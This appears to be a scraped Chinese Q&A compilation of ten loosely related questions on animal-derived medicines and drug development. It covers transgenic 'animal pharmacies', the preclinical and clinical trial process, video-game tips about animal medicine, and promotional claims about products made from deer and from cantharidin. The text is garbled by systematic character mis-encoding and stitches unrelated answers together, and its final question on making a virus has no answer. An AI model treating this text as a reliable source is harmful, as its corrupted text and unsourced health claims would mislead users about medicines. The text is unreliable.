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• 1，如何讓動(dòng)物為藥品研制開發(fā)做貢獻(xiàn)
• 2，動(dòng)物制藥廠是怎么制藥的
• 3，真的有藥可以引誘野動(dòng)物達(dá)到捕獲的目的嗎
• 4，佛教徒如何開中藥處方有動(dòng)物藥的
• 5，新藥的開發(fā)研制過(guò)程是怎樣進(jìn)行的
• 6，藥是怎么研制出來(lái)的
• 7，怎么研制高科動(dòng)物
• 8，牧場(chǎng)物語(yǔ)中動(dòng)物藥怎么得到
• 9，動(dòng)物藥的應(yīng)用現(xiàn)狀
• 10，怎樣研制病毒

1，如何讓動(dòng)物為藥品研制開發(fā)做貢獻(xiàn)

藥品研制后不能直接用于臨床實(shí)驗(yàn)，要先進(jìn)行動(dòng)物實(shí)驗(yàn)。。

2，動(dòng)物制藥廠是怎么制藥的

基因工程不僅可以讓細(xì)菌生產(chǎn)藥，而且也可組建“動(dòng)物制藥廠”。自從現(xiàn)代基因工程20世紀(jì)70年代問(wèn)世以來(lái)，科學(xué)家們就致力于用這種技術(shù)來(lái)生產(chǎn)治療人類疾病所需的藥物，尤其是貴重藥物。迄今為止，科學(xué)家們不僅在細(xì)菌等微生物中獲得了成功，而且通過(guò)轉(zhuǎn)基因動(dòng)物來(lái)生產(chǎn)藥物的成功事例也屢見不鮮。治療癌癥、心臟病、血液病、感染等諸多病癥的貴重蛋白藥物已經(jīng)能從哺乳動(dòng)物如牛、羊、鼠中制造出來(lái)，轉(zhuǎn)基因動(dòng)物成了制藥廠。在制藥方面，哺乳動(dòng)物細(xì)胞比一般細(xì)菌等微生物細(xì)胞具有明顯的優(yōu)勢(shì)。因?yàn)椴溉閯?dòng)物的細(xì)胞來(lái)自和人比較接近的哺乳動(dòng)物。在這些細(xì)胞中產(chǎn)生的蛋白質(zhì)藥物不需太多純化和加工即可用于人類，而在人類細(xì)菌中生產(chǎn)的蛋白質(zhì)藥物則往往需要復(fù)雜的加工和純化，不僅費(fèi)用昂貴，而且生產(chǎn)出的藥物往往使人有排斥反應(yīng)。轉(zhuǎn)基因動(dòng)物的研究已開始把目標(biāo)轉(zhuǎn)向培育能生產(chǎn)藥用蛋白的轉(zhuǎn)基因動(dòng)物這一充滿誘惑力的領(lǐng)域中了，并已取得不少成功的例證。那么，什么是轉(zhuǎn)基因動(dòng)物呢？轉(zhuǎn)基因動(dòng)物一定是具有新基因的動(dòng)物，和轉(zhuǎn)基因植物相類似。對(duì)于植物，機(jī)體水平上的基因操作并不困難。采用Ti質(zhì)粒、基因槍、花粉管通道導(dǎo)入法等有效的基因轉(zhuǎn)移技術(shù)，先將目的基因轉(zhuǎn)移到植物的原生質(zhì)體內(nèi)，再將這些原生質(zhì)體培育成植株，其組織和細(xì)胞中就含有外源目的基因了。如何實(shí)現(xiàn)動(dòng)物基因結(jié)構(gòu)的改變呢？顯然，動(dòng)物的體細(xì)胞不能作為受體，因?yàn)樗鼈儾痪邆湎裰参锛?xì)胞那樣全能性。為了在整體動(dòng)物水平上實(shí)現(xiàn)基因轉(zhuǎn)移，人們創(chuàng)造性地采用了顯微注射技術(shù)，也就將目的基因機(jī)械地注射到動(dòng)物的受精卵內(nèi)，由于目的基因可與受精卵的染色體DNA發(fā)生隨機(jī)整合，當(dāng)整合有目的基因的受精卵發(fā)育成成熟個(gè)體時(shí)，這就是所謂的轉(zhuǎn)基因動(dòng)物。動(dòng)物基因轉(zhuǎn)移的方法相對(duì)來(lái)說(shuō)比較簡(jiǎn)單，不像植物那樣需要復(fù)雜地將基因搬來(lái)搬去，但向動(dòng)物體內(nèi)導(dǎo)入基因的具體操作還是有很大難度的?？茖W(xué)家們把顯微注射器的一端很長(zhǎng)很細(xì)的玻璃管插到動(dòng)物的受精卵里，將外來(lái)基因注射到體積比較大的雄前核中去，再將受精卵植入母體內(nèi)，使之發(fā)育成完整的動(dòng)物。整個(gè)操作中的困難在于，動(dòng)物的卵都非常小，肉眼根本看不見，必須借助于顯微鏡精密儀器方能進(jìn)行。有些物動(dòng)物如鳥的受精卵就更小，操作起來(lái)更加困難。故此，人們通常以魚、鼠、兔、羊、豬、牛等較大的哺乳動(dòng)物為研究對(duì)象進(jìn)行轉(zhuǎn)基因操作和研究。

3，真的有藥可以引誘野動(dòng)物達(dá)到捕獲的目的嗎

對(duì)于黃鱔、泥鰍、鱉、蝦等小水產(chǎn)動(dòng)物的捕捉和進(jìn)食可以來(lái)取以下引誘方法。 1.誘捕方法 利用藥物所散發(fā)出來(lái)的強(qiáng)嗜好性氣味,引誘野生或家養(yǎng)的鱉、黃鱔、泥鰍等聚集在一起,達(dá)到高效捕捉的目的。

4，佛教徒如何開中藥處方有動(dòng)物藥的

額

能用其他非動(dòng)物制品替代的就用替代品。實(shí)在必須要用到動(dòng)物制品的當(dāng)生慚愧心，做藥石想。為彼誦往生咒回向后再用吧。但不可殺生。

5，新藥的開發(fā)研制過(guò)程是怎樣進(jìn)行的

新藥研制主要分新藥臨床前研 究和新藥臨床研究?jī)蓚€(gè)過(guò)程。l 新藥臨床前研究?jī)?nèi)容 藥學(xué)研究藥理學(xué)研究毒理學(xué)研究一、藥學(xué)研究主要內(nèi)容 ⑴ 原料藥生產(chǎn)工藝研究 ⑵ 制劑處方及工藝研究 ⑶ 確證化學(xué)結(jié)構(gòu)或組分研究 ⑷ 質(zhì)量研究：包括理化性質(zhì)、純 度檢查、溶出度、含量測(cè)定等 ⑸ 質(zhì)量標(biāo)準(zhǔn)草案及起草說(shuō)明 ⑹ 穩(wěn)定性研究 ⑺ 臨床研究用樣品及其檢驗(yàn) 報(bào)告 ⑻ 產(chǎn)品包裝材料及其選擇依據(jù)二、新藥藥理毒理學(xué)研究1．藥理學(xué)內(nèi)容：①藥效學(xué)試驗(yàn)： 主要藥效學(xué)試驗(yàn) 一般藥理學(xué)試驗(yàn)；②藥動(dòng)學(xué)試驗(yàn)。2．主要藥效學(xué)研究 1） 藥效學(xué)試驗(yàn)：應(yīng)以動(dòng)物體內(nèi)試驗(yàn) 為主，必要時(shí)配合體外試驗(yàn)，從 不同層次證實(shí)其藥效。 2） 觀測(cè)指標(biāo)：應(yīng)選用特異性強(qiáng)、敏 感性高、重現(xiàn)性好、客觀、定量 或半定量的指標(biāo)進(jìn)行觀測(cè)。3）實(shí)驗(yàn)動(dòng)物：根據(jù)各種試驗(yàn)的 具體要求，合理選擇動(dòng)物，對(duì) 其種屬、性別、年齡、體重、 健康狀態(tài)、飼養(yǎng)條件、動(dòng)物來(lái) 源及合格證號(hào)等，應(yīng)有詳細(xì)記 錄。5） 給藥劑量及途徑 ⑴ 試驗(yàn)分組：各種試驗(yàn)至少應(yīng)設(shè) 三個(gè)劑量組，劑量選擇應(yīng)合理，盡 量反映量效和／或時(shí)效關(guān)系，大動(dòng) 物（猴、狗等）試驗(yàn)或在特殊情況 下，可適當(dāng)減少劑量組。 ⑵ 給藥途徑：應(yīng)與臨床相同，如 確有困難，也可選用其他給藥途徑 進(jìn)行試驗(yàn)，但應(yīng)說(shuō)明原因。6）對(duì)照：主要藥效學(xué)研究應(yīng)設(shè)對(duì)照 組，包括： ⑴ 正常動(dòng)物空白對(duì)照組； ⑵ 模型動(dòng)物對(duì)照組； ⑶ 陽(yáng)性藥物對(duì)照組（必要時(shí)增設(shè) 溶媒或賦形劑對(duì)照組）。陽(yáng)性對(duì)照藥 應(yīng)選用正式批準(zhǔn)生產(chǎn)的藥品，根據(jù)需 要設(shè)一個(gè)或多個(gè)劑量組。3．一般藥理學(xué)研究主要觀察給藥后對(duì)動(dòng)物以下三個(gè)系統(tǒng)的影響： ⒈）神經(jīng)系統(tǒng)：活動(dòng)情況、行為變化 及對(duì)中樞神經(jīng)系統(tǒng)的影響。 ⒉）心血管系統(tǒng)：對(duì)心電圖及血壓等 的影響。 ⒊）呼吸系統(tǒng)：對(duì)呼吸頻率、節(jié)律及 幅度的影響。 須設(shè)2～3個(gè)劑量組，低劑量應(yīng)相當(dāng)于藥效學(xué)的有效劑量；給藥途徑應(yīng)與主要藥效學(xué)試驗(yàn)相同，4．藥動(dòng)學(xué)研究 對(duì)有效成分明確的第一類新藥， 可參照化學(xué)藥品的藥動(dòng)學(xué)方法，研 究其在動(dòng)物體內(nèi)的吸收、分布、代 謝及排泄，并計(jì)算各項(xiàng)參數(shù)。5．毒理學(xué)研究Toxicology Study 1）急性毒性（Acute toxicology） 2）慢性毒性（Chronic toxicology） 3）特殊毒性（Special Test） 半數(shù)致死量 Lethal Dose 50 (LD50) 最大耐受量 Maximal Resistance Experiment1）急性毒性試驗(yàn)(1）LD50測(cè)定選用擬推薦臨床試驗(yàn) 的給藥途徑，觀察一次給藥 后動(dòng)物的毒性反應(yīng)并測(cè)定其 LD50。水溶性好的一、二類新藥應(yīng)測(cè)定 二種給藥途徑的LD50。給藥后至少 觀察7天，記錄動(dòng)物毒性反應(yīng)情況、 體重變化及動(dòng)物死亡時(shí)間分布。對(duì) 死亡動(dòng)物應(yīng)及時(shí)進(jìn)行肉眼尸檢，當(dāng) 尸檢發(fā)現(xiàn)病變時(shí)應(yīng)對(duì)該組織進(jìn)行鏡 檢。2）最大給藥量試驗(yàn) 如因受試藥物的濃度或體積限制， 無(wú)法測(cè)出半數(shù)致死量（LD50）時(shí)，可 做最大給藥量試驗(yàn)。試驗(yàn)應(yīng)選用擬推 薦臨床試驗(yàn)的給藥途徑，以動(dòng)物能耐 受的最大濃度、最大體積的藥量一次 或一日內(nèi)2～3次給予動(dòng)物。（如用小白鼠，動(dòng)物數(shù)不得少于20只，雌雄各半），連續(xù)觀察7天，詳細(xì)記錄動(dòng)物反應(yīng)情況，計(jì)算出總給藥量（折合生藥量g/kg）。 3）長(zhǎng)期毒性試驗(yàn) 長(zhǎng)期毒性試驗(yàn)是觀察動(dòng)物因連 續(xù)用藥而產(chǎn)生的毒性反應(yīng)及其嚴(yán)重 程度，以及停藥后的發(fā)展和恢復(fù)情 況，為臨床研究提供依據(jù)。長(zhǎng)期毒性實(shí)驗(yàn)條件Conditions for Chronic Experiment ⑴ 動(dòng)物 （Animals） ⑵ 劑量 （Dosage） ⑶方法與給藥途徑（Methods and route of administration） ⑷ 實(shí)驗(yàn)周期（Experimental cycle）治療局部應(yīng)用的藥物Drugs for local application 治療局部疾患且方中不含毒性藥材或有毒成分的第三、第四類外用藥，一般可不做長(zhǎng)期毒性試驗(yàn)。 但需做局部刺激試驗(yàn)、過(guò)敏試驗(yàn)，必要時(shí)需做光敏試驗(yàn)?？赡苡绊懱夯蜃哟l(fā)育的藥物，除按一般毒理學(xué)要求進(jìn)行試驗(yàn)外，還應(yīng)增做相應(yīng)的生殖毒性試驗(yàn) (reproductive experiment) 。特殊毒性實(shí)驗(yàn)（Special Test）致癌實(shí)驗(yàn)（Carcinogenesis test） genetic mutation 致突變實(shí)驗(yàn)（Mutagenesis test） cancer induction致畸癌實(shí)驗(yàn)（Teratogenesis test） congenitally deformed baby or congenital malformationDrug dependence Test: addiction進(jìn)行臨床研究應(yīng)具備的條件申報(bào)臨床研究并獲得國(guó)家食品藥品監(jiān)督管理（SFDA)局批準(zhǔn)Application for Clinical Study Approval by CDA 獲得倫理委員會(huì)批準(zhǔn) Supervised by Ethic Council 新藥臨床實(shí)驗(yàn)Clinical Study of New Drugs臨床試驗(yàn)（Clinical Trials)生物等效性試驗(yàn) （Bio-equivalent Study）臨床試驗(yàn)分期Clinical trialsI 期II期III期IV期I期臨床試驗(yàn) 為初步的臨床藥理學(xué)及人體安全性評(píng)價(jià)試驗(yàn)，主要觀察人體對(duì)新藥的耐受性（tolerance）和藥動(dòng)學(xué)規(guī)律，為制定給藥方案提供依據(jù)。Biological equipotent experiment 生物等效性試驗(yàn)II 期臨床試驗(yàn) 為隨機(jī)盲法對(duì)照臨床試驗(yàn)，主要對(duì)新藥有效性及安全性作出初步評(píng)價(jià)，并推薦臨床給藥劑量。III期臨床試驗(yàn) 為擴(kuò)大的多中心臨床試驗(yàn)，應(yīng)遵循隨機(jī)對(duì)照原則，進(jìn)一步評(píng)價(jià)新藥的有效性和安全性。IV期臨床試驗(yàn) 為新藥上市后的監(jiān)測(cè)，在廣泛使用條件下進(jìn)一步考察新藥的療效和不良反應(yīng)（尤其注意罕見的不良反應(yīng)）。臨床研究要求Principle Require⒈獲得國(guó)家食品藥品監(jiān)督管理（SFDA) 局批準(zhǔn)⒉符合國(guó)家藥品監(jiān)督管理局《藥品臨 床試驗(yàn)管理規(guī)范》的有關(guān)規(guī)定。 ⒊臨床研究的病例數(shù)應(yīng)符合統(tǒng)計(jì)學(xué)要 求。4．在SDA確定的藥品臨床研究基地中 選擇臨床研究負(fù)責(zé)和承擔(dān)單位⒌ 臨床研究單位應(yīng)了解和熟悉試驗(yàn)用 藥的作用和安全性，按GCP要求制 定臨床研究方案。⒍ 應(yīng)指定具有一定專業(yè)知識(shí)的人員遵 循GCP的有關(guān)要求，監(jiān)督臨床研究 的進(jìn)行。⒎ 不良事件（Adverse events ） 臨床研究期間若發(fā)生嚴(yán)重不 良事件，須立即采取必要措施 保護(hù)受試者安全，并在24小時(shí) 內(nèi)向當(dāng)?shù)厥〖?jí)藥品監(jiān)督管理部 門和國(guó)家藥品監(jiān)督管理局報(bào)告。⒏ 臨床研究完成后，臨床研究單 位須寫出總結(jié)報(bào)告，負(fù)責(zé)單位 匯總，交研制單位。 有關(guān)試驗(yàn)和具體要求⒈ 耐受性試驗(yàn) 受試對(duì)象、受試?yán)龜?shù)、分組、 確定初試劑量⒈ 耐受性試驗(yàn) ⑴ 受試對(duì)象：應(yīng)選擇健康志愿者， 特殊病證可選輕型患者。健康狀況 須經(jīng)健康檢查，除一般體格檢查外， 尚要做血、尿、糞便常規(guī)化驗(yàn)和心、 肝、腎功能檢查，并應(yīng)均屬正常。 要注意排除有藥物、食物過(guò)敏史者。對(duì)妊娠期、哺乳期、月經(jīng)期及嗜煙、嗜酒者亦應(yīng)除外。還應(yīng)排除可能影響試驗(yàn)結(jié)果和試驗(yàn)對(duì)象健康的隱性傳染病等。受試?yán)龜?shù)20～30例，以18～50歲為宜，男女例數(shù)最好相等。⑵ 分組：在最小初試劑量與最大初試 劑量之間分若干組。⑶ 確定初試劑量：最小初試劑量一般 可從同類藥物臨床治療量的1/10開 始。⒉ 藥動(dòng)學(xué)研究⑴ 可與耐受性試驗(yàn)結(jié)合進(jìn)行⑵ 質(zhì)控要求：檢測(cè)方法應(yīng)靈敏度 精、專屬性強(qiáng)、回收率高和重 現(xiàn)性好。藥品不良反應(yīng)（adverse drug reaction，ADR）不良事件（adverse event）藥品不良反應(yīng)和不良事件的判斷與處理 ⑴ 藥品不良反應(yīng) （adverse drug reaction，ADR） 指在規(guī)定劑量正常用藥過(guò)程中所產(chǎn) 生的有害而非期望的、與藥品應(yīng)用有 因果關(guān)系的反應(yīng)。 在一種新藥或藥品新用途的 臨床試驗(yàn)中，如治療劑量尚未確 定時(shí)，所有的有害而非期望的、 與藥品應(yīng)用有因果關(guān)系的反應(yīng)， 也應(yīng)視為藥品不良反應(yīng)。⑵ 不良事件（adverse event）： 病人或臨床試驗(yàn)受試者接受一種藥 品后出現(xiàn)的不良醫(yī)學(xué)事件，但并不 一定與治療有因果關(guān)系。⑶ 嚴(yán)重不良事件 （serious adverse event）： 臨床試驗(yàn)過(guò)程中發(fā)生需住院治療、 延長(zhǎng)住院時(shí)間、傷殘、影響工作能 力、危及生命或死亡、導(dǎo)致先天畸 形等不良事件。 ⑷ 藥品不良反應(yīng)分類 臨床試驗(yàn)中藥品不良反應(yīng)分臨 床反應(yīng)和化驗(yàn)異常兩部分。 臨床反應(yīng)常分為A、B、C三型。① A型反應(yīng)：由藥物藥理作用過(guò)強(qiáng)或 與其他藥物出現(xiàn)相互作用所引起。 臨床試驗(yàn)中觀察、檢查和評(píng)價(jià)的主 要是A型反應(yīng)，其評(píng)價(jià)方法與上市 后監(jiān)測(cè)藥物不良反應(yīng)的方法相似， 都是通過(guò)所發(fā)現(xiàn)的反應(yīng)與所用藥物 之間的因果分析來(lái)評(píng)定反應(yīng)與藥物 是否有關(guān)。② B型反應(yīng)：又稱特異反應(yīng)，可危 及生命且不能預(yù)測(cè)，一旦發(fā)生， 需立即向主辦單位與藥政管理 部門報(bào)告。③ C型反應(yīng)：常以疾病形式出現(xiàn)，在 新藥試驗(yàn)中不易被察覺(jué)，常通過(guò)流 行學(xué)研究發(fā)現(xiàn)。藥品不良反應(yīng)的評(píng)價(jià)標(biāo)準(zhǔn)①五級(jí)標(biāo)準(zhǔn)： 有關(guān) / 很可能有關(guān) / 可能有關(guān) / 可能無(wú)關(guān) / 無(wú)關(guān) 用前二種相加來(lái)統(tǒng)計(jì)不良反應(yīng)發(fā)生率。② 七級(jí)標(biāo)準(zhǔn)： 有關(guān)/很可能有關(guān)/可能有關(guān)/不大可能有關(guān)/可能無(wú)關(guān)/無(wú)關(guān)/無(wú)法評(píng)價(jià)。 如何確定不良事件與藥物存在因果關(guān)系①用藥與出現(xiàn)不良事件的時(shí)間關(guān)系以 及是否具有量效關(guān)系②停藥后不良事件是否有所緩解③在嚴(yán)密觀察并確保安全的情況下， 觀察重復(fù)給藥時(shí)不良事件是否再次 出現(xiàn)等。 ⒋臨床試驗(yàn)設(shè)計(jì)原則Principle of clinical trials隨機(jī)性（randomization）合理性（rationality）重復(fù)性（replication）代表性（representativeness）⑴ 隨機(jī)性：兩組病人的分配均勻，不 隨主觀意志為轉(zhuǎn)移。⑵ 合理性：既要符合專業(yè)要求與統(tǒng)計(jì) 學(xué)要求，又要切實(shí)可行。⑶ 代表性：受試對(duì)象的確定應(yīng)符合樣 本抽樣符合總體的原則。⑷ 重復(fù)性：經(jīng)得起重復(fù)驗(yàn)證。排除系 統(tǒng)誤差。⒌ 對(duì)照試驗(yàn)⑴ 平行對(duì)照試驗(yàn)： 隨機(jī)分組對(duì)照試驗(yàn)，最常用的是試 驗(yàn)藥A與對(duì)照藥B（或安慰劑）進(jìn)行 隨機(jī)對(duì)照比較。⑵ 交叉對(duì)照試驗(yàn)： 拉丁方設(shè)計(jì)（latin square design）。⒍ 設(shè)盲（blinding／masking）： 使一方或多方不知道受試者治療分配的一種程序。 雙盲法試驗(yàn)（double blind technique）⒎ 安慰劑（placebo）安慰劑是指沒(méi)有藥理活性的物質(zhì)如乳糖、淀粉等，常用作臨床對(duì)照試驗(yàn)中的陰性對(duì)照。安慰劑可引起療效（正效應(yīng)）和不良反應(yīng)（負(fù)效應(yīng)）。鎮(zhèn)痛、鎮(zhèn)靜止咳等的有效率平均可達(dá)35.2％土2.2％。分類：純安慰劑:無(wú)藥理活性不純安慰劑:指作用不強(qiáng)的藥物，有時(shí)起安慰劑的作用。安慰劑效應(yīng)（placebo effect）⒏ 療效判斷臨床療效評(píng)價(jià)（response assessment）公認(rèn)標(biāo)準(zhǔn)采用四級(jí)評(píng)定。痊愈（cure）顯效（excellence）好轉(zhuǎn)（improvement）無(wú)效（failure）痊愈率+顯效率=有效率（％）。 ⒈ 藥品臨床前試驗(yàn)管理規(guī)范（good laboratory practice，GLP） GLP是對(duì)從事實(shí)驗(yàn)研究的規(guī)劃設(shè)計(jì)、執(zhí)行實(shí)施、管理監(jiān)督和記錄報(bào)告等實(shí)驗(yàn)室組織管理、工作方法和有關(guān)條件所提出的法規(guī)性文件。它主要是針對(duì)有關(guān)藥品、食品添加劑、農(nóng)藥、化學(xué)試劑、化妝品及其他醫(yī)用物品的動(dòng)物毒性評(píng)價(jià)而制定的法規(guī)，目的在于嚴(yán)格控制藥品安全性評(píng)價(jià)的各個(gè)環(huán)節(jié)，包括嚴(yán)格控制可能影響實(shí)驗(yàn)結(jié)果準(zhǔn)確性的各種主、客觀因素，如保證實(shí)驗(yàn)研究人員具備一定素質(zhì)、實(shí)驗(yàn)設(shè)計(jì)慎密合理、各種實(shí)驗(yàn)條件合格、數(shù)據(jù)完整準(zhǔn)確以及總結(jié)資料科學(xué)真實(shí)等。2. 藥品臨床試驗(yàn)管理規(guī)范（good clinicaI practice，GCP） GCP的核心是保障受試者與患者的權(quán)利，保證臨床試驗(yàn)的科學(xué)性。這些規(guī)范規(guī)定了臨床試驗(yàn)的有關(guān)各方，即申辦者、研究者及管理當(dāng)局在臨床試驗(yàn)中的職責(zé)、相互關(guān)系和工作方式。3. 藥品生產(chǎn)質(zhì)量管理規(guī)范（good manufacture practice, GMP） GMP是為生產(chǎn)出全面符合質(zhì)量標(biāo)準(zhǔn)的藥品而制定的生產(chǎn)規(guī)范，它由硬件和軟件組成，其實(shí)施包括藥品生產(chǎn)的全過(guò)程，從對(duì)原料、制劑一直到銷售、退貨以及藥品管理部門 全體人員應(yīng)具備的條件等都做了詳細(xì)的規(guī)定。原料藥的制作與制劑在實(shí)質(zhì)上有一定差別，但GMP要求基本精神要一致。⒋ 藥品供應(yīng)質(zhì)量管理規(guī)范 （good supply practice,GSP）: GSP是為保證藥品在運(yùn)輸、貯存 和銷售過(guò)程中的質(zhì)量和效力所 制定的管理規(guī)范。⒌ 道地藥材生產(chǎn)規(guī)范 （good organic practice，GOP） GOP是關(guān)于大宗藥材基地化和集約化的生產(chǎn)管理規(guī)范，目前正進(jìn)行GOP基礎(chǔ)研究，爭(zhēng)取到2010年，使100種最常用道地藥材的質(zhì)量穩(wěn)定在高標(biāo)準(zhǔn)水平上，基本消滅次、劣品；使出口值排在前10位的藥材達(dá)到國(guó)際無(wú)公害藥材（Organic）水平。國(guó)家基本藥物Essential Drugs in China 1985年，WHO在內(nèi)羅畢會(huì)議上擴(kuò)展了基本藥物的概念，使其包括了高度重視合理用藥的內(nèi)容，同時(shí)，在推薦基本藥物目錄遴選程序時(shí)，還把基本藥物的遴選過(guò)程與標(biāo)準(zhǔn)治療指南以及國(guó)家處方集結(jié)起來(lái)，也就是使基本藥物與合理用藥相結(jié)合。 我國(guó)的國(guó)家基本藥物是從我國(guó)臨床應(yīng)用的各類藥物中，經(jīng)科學(xué)評(píng)價(jià)而遴選出的具有代表性的藥品，無(wú)論從療效、不良反應(yīng)、價(jià)格和質(zhì)量，還是從穩(wěn)定性、使用方便性和可獲得性等方面，都是同類藥物中最佳的；是在經(jīng)濟(jì)條件允許的情況下，治療某種病癥的首選藥品，它必須能滿足大部分人口衛(wèi)生保健的需要。處方藥與非處方藥⒈ 處方藥(prescription drug)⑴ 剛上市的新藥：對(duì)其活性和副作用 還需進(jìn)一步觀察；⑵ 可產(chǎn)生依賴性的藥品：如嗎啡類鎮(zhèn) 痛藥及某些催眠安定藥；⑶ 本身毒性較大的藥品，如抗癌藥等；⑷ 用藥時(shí)要經(jīng)醫(yī)生開處方并在其指 導(dǎo)下使用，或治療需實(shí)驗(yàn)室確診 的某些疾病的藥品，如治療心血 管疾病的藥品。國(guó)家非處方藥遴選原則應(yīng)用安全、療效確切、質(zhì)量穩(wěn)定，使用方便。⒉ 非處方藥(Over the counter, OTC) OTC多治療諸如感冒、發(fā)燒、咳 嗽、消化系統(tǒng)疾病、頭痛、關(guān)節(jié)疾 病、過(guò)敏癥（如鼻炎）等疾??；它 還包括營(yíng)養(yǎng)補(bǔ)劑如維生素、中藥補(bǔ) 劑等藥品，大多安全而有效。 甲類非處方藥的零售企業(yè)必須具有《藥品經(jīng)營(yíng)企業(yè)許可證》。經(jīng)省級(jí)藥品監(jiān)督管理部門或其授權(quán)的藥品監(jiān)督管理部門批準(zhǔn)的其它商業(yè)企業(yè)可以零售乙類非處方藥。零售乙類非處方藥的商業(yè)企業(yè)必須配備專職的具有高中以上文化程度，經(jīng)專業(yè)培訓(xùn)后，由省級(jí)藥品監(jiān)督管理部門或其授權(quán)的藥品監(jiān)督管理部門考核合格并取得上崗證的人員。使用注意：因非處方藥不需要憑執(zhí)業(yè)醫(yī)師或執(zhí)業(yè)助理醫(yī)師處方，消費(fèi)者即可按藥品說(shuō)明書自行判斷、購(gòu)買和使用，為此，對(duì)部分品種除規(guī)定了使用時(shí)間、療程外，還強(qiáng)調(diào)遇到某些情況時(shí)應(yīng)向醫(yī)師咨詢等。The End

6，藥是怎么研制出來(lái)的

有很多藥物的問(wèn)世是誤打誤撞的啊,象萬(wàn)艾可,最初的實(shí)驗(yàn)研究是針對(duì)心腦血管的,結(jié)果人體實(shí)驗(yàn)中卻發(fā)現(xiàn)了另外的作用.

1。傳統(tǒng)藥物有效，具用藥經(jīng)驗(yàn)，提純上市。 2。分析提純的藥物成分，尋找有效成分結(jié)構(gòu)式。 3。修飾找到的結(jié)構(gòu)式，使更利于吸收或增效。 4。合成這個(gè)結(jié)構(gòu)式，或結(jié)構(gòu)類似物，用于治病。

中國(guó)的藥是仿制出來(lái)的，很少會(huì)自己研究開發(fā)的。仿制就是仿造別人的藥，就是國(guó)外的這種藥品已經(jīng)上市銷售了，中國(guó)就買過(guò)來(lái)對(duì)其進(jìn)行研究，并查相關(guān)文獻(xiàn)資料，再試制出相應(yīng)的仿制藥品，報(bào)到國(guó)家藥監(jiān)局進(jìn)行審批，審批通過(guò)后就是中國(guó)所謂的新藥/

7，怎么研制高科動(dòng)物

點(diǎn)擊9級(jí)以上的棚窩的房子，就會(huì)出現(xiàn) 科研列表，選擇科研一種動(dòng)物就開始科研了，那些動(dòng)物就是高等級(jí)，高收益動(dòng)物！ 如果棚窩沒(méi)到9級(jí)，你的等級(jí)和金幣又達(dá)到升級(jí)棚窩的要求了?？梢渣c(diǎn)擊棚窩下的 升級(jí) 木牌，進(jìn)行升級(jí)！

您好！樓主，QQ牧場(chǎng)科研高等級(jí)、高收益動(dòng)物需要把棚和窩升級(jí)到9級(jí)以上級(jí)別，然后點(diǎn)擊棚和窩的房子就會(huì)出現(xiàn)科研列表了。里面就是可以科研的動(dòng)物，當(dāng)然，要科研更好的動(dòng)物就必須把棚和窩進(jìn)一步升級(jí)，現(xiàn)在棚和窩最高級(jí)能升到13級(jí)。 如果我的回答對(duì)樓主有幫助，請(qǐng)點(diǎn)擊答案下的“采納此答案”如果您還有疑問(wèn)，請(qǐng)追問(wèn)采納后請(qǐng)?jiān)僭u(píng)價(jià) 五星和 原創(chuàng)祝樓主龍年開心快樂(lè)！牧場(chǎng)top6為您解答

8，牧場(chǎng)物語(yǔ)中動(dòng)物藥怎么得到

出牧場(chǎng)后右拐,有a.m.11:00-p.m.4:00開門的雞小屋,跟柜臺(tái)說(shuō)話,有1000G的動(dòng)物藥,雞牛羊通用,雞小屋右邊有a.m.10:00-p.m.3:00牛小屋,也跟柜臺(tái)說(shuō)話,也有1000G的動(dòng)物藥

在養(yǎng)雞場(chǎng)或牛羊舍都有賣，在這兩個(gè)地方買到的動(dòng)物藥是通用的。

有的 去大壯漢那里買 如果當(dāng)天沒(méi)有 睡一天再去

當(dāng)然是去到養(yǎng)雞場(chǎng)和養(yǎng)牛羊的地方去買拉

如果是MM版還可以對(duì)著鏡子,用證書.(到班那買的那個(gè))

出牧場(chǎng)后右拐,有a.m.11:00-p.m.4:00開門的雞小屋,跟柜臺(tái)說(shuō)話,有1000G的動(dòng)物藥,雞牛羊通用,雞小屋右邊有a.m.10:00-p.m.3:00牛小屋,也跟柜臺(tái)說(shuō)話,也有1000G的動(dòng)物藥 如果是MM版還可以對(duì)著鏡子,用證書.(到班那買的那個(gè))

9，動(dòng)物藥的應(yīng)用現(xiàn)狀

現(xiàn)代科學(xué)研究證實(shí)，動(dòng)物藥和同體積、同重量的植物藥相比，大都具有極強(qiáng)的生物活性，尤其對(duì)某些頑癥、重病，更顯示了其獨(dú)特的生物活性。如斑蝥，《神農(nóng)本草經(jīng)》中列為下品，以后歷代本草均有記載，具有攻毒、破血、引赤、發(fā)泡的功能?，F(xiàn)代研究表明，斑蝥中含有的斑蝥素為抗癌有效成分，臨床治療肝癌和膀胱癌有效，此外還具有刺激骨髓產(chǎn)生白細(xì)胞的作用，這是一般抗癌藥所不及的。此外，近年來(lái)我國(guó)動(dòng)物藥的應(yīng)用開發(fā)研究還體現(xiàn)在新的動(dòng)物藥材的應(yīng)用和原有藥用動(dòng)物的其它藥用部位的開發(fā)。如鹿茸是一味著名的中藥材，但除鹿茸外，鹿的全身也都是寶，很多部位皆可供藥用，如鹿鞭、鹿胎、鹿茸血、鹿肉、鹿骨、鹿角膠、鹿尾等，利用鹿身上這些部位研制的產(chǎn)品，深受人們的喜愛。 另外，隨著社會(huì)的發(fā)展和科學(xué)的進(jìn)步，人類社會(huì)更加崇尚自然，返璞歸真成為社會(huì)新潮，而動(dòng)物藥具有天然的特性，這為我國(guó)豐富的動(dòng)物藥資源的開發(fā)提供了廣闊的天地。目前已開發(fā)出來(lái)的很多產(chǎn)品都深受廣大消費(fèi)者的歡迎，其中保健品如大力神口服液、金牡蠣，化妝美容品如珍珠美容霜，天然香精如麝香、靈貓香等?？梢哉f(shuō)在動(dòng)物藥的開發(fā)利用方面已經(jīng)取得了一定的成就。

10，怎樣研制病毒

